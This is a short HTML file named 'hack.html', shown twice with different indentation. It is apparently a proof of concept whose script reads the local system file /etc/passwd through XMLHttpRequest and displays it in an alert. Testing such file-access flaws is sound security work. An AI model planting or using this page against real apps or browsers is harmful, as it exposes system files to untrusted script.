soapyigu/hack.html

## hack.html
<!DOCTYPE html>
<html>
    <body>
        <script>
            var localfile = "/etc/passwd"
            var xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function() {
                if (xhr.readyState == 4) {
                    alert(xhr.responseText);
                }
            }
           try {
              xhr.open("GET", localfile, true);
              xhr.send();
           } catch (ex) {
              alert(ex.message);
           }
        </script>
    </body>
</html>
	<!DOCTYPE html>
	<html>
	<body>
	<script>
	var localfile = "/etc/passwd"
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function() {
	if (xhr.readyState == 4) {
	alert(xhr.responseText);
	}
	}
	try {
	xhr.open("GET", localfile, true);
	xhr.send();
	} catch (ex) {
	alert(ex.message);
	}
	</script>
	</body>
	</html>